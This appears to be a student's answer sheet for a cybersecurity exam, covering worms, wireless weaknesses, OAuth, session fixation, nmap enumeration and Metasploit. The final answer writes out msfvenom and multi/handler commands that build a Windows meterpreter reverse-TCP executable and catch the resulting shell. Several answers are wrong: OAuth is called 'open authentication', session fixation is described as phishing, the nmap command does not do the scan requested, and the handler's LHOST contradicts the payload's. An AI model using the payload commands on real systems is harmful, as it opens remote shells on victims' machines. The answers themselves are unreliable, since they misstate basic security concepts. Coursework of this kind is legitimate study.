**1) Discuss two security threats of a worm malware. (4 marks)**

1. Virus infection rate is high. Worm malwares spread virus through a network and can infect multiple networks at the same time.
2. Difficult to track and stop the virus spread. Worm malwares spreads very fast to multiple networks and is therefore difficult to track back the original source of the virus.

**2) Explain five security vulnerabilities of using a wireless network. (10 marks)**

1. No physical access required. Attackers can remotely access to a wireless network without needing to be near the wireless network source.
2. Unknown network boundary. The exact range of wireless networks is difficult to pinpoint and is unknown to the users.
3. Many points of attack as long as within network range. The exact location of attackers is unknown as users can connect wireless networks anywhere as long as within range.
4. Password retrieval using brute force attacks. Passwords can be retrieved if the passwords are weakly set such as using common words, using reversible password and using formatted password.
5. Insecure or unencrypted wireless networks. Wireless network that are open publicly may be dangerous for users to connect to because no proper security features are set for the network.

**3) Discuss three disadvantages of open authentication (OAuth). (6 marks)**

1. Authenticated sessions may sometimes still be open after users exit from the session. This allows session hijacking to happen.
2. OAuth only authenticates the user a single time. No further authentication is prompted to the user to verify the legitimacy of the user.
3. OAuth uses a authentication code that is reusable and does not expire. Attackers can reuse the code as long as they know it to authorize themselves as a legitimate user.

**4) Discuss the MOM strategies for a session fixation attack and give a suitable example scenario.**
**(12 marks)**

| Components | Description | Example scenario |
|---|---|---|
| Method | Create and send a fake message that contains a website that belongs to the malicious party to a victim network. | Attacker sends a fake message about a victim winning a lottery and provides a link to a fake Facebook website that requires the user to login again to let users “follow further instruction to claim the prize”. |
| Opportunity | Victim is not aware of the fake website and provide sensitive information for the website. | Victim logs into the fake Facebook page by providing their email address and password. |

| | | |
|---|---|---|
| Motive | Steal and use the credentials provided by the victim to perform session hijacking attack and steal the victim's account | Attacker uses the logged email address and password provided by the user and logs into victim's real Facebook account and tries to use the credential for other websites. |

**5) List five aggressive search parameters can be retrieved using a network enumerator. (5 marks)**

1. Open port numbers
2. Operating system version
3. Route used to get to the destination address
4. Time used to get to the destination address
5. Service versions

6) Write a line of command to perform FIN, PSH, and URG flags scan for service versions in a network at 10.0.2.0/24 using NMAP with verbose information display in the command line interface (CLI). (5 marks)

nmap -v -sV 10.0.2.0/24

**7) Generate a payload for a reverse TCP connection using three-way handshake method at**
**192.168.223.37. (8 marks)**

Assume victim IP = 192.168.20.69

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.223.37 LPORT=25565 -f exe > payload.exe

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.20.69

set LPORT 25565

exploit -j -z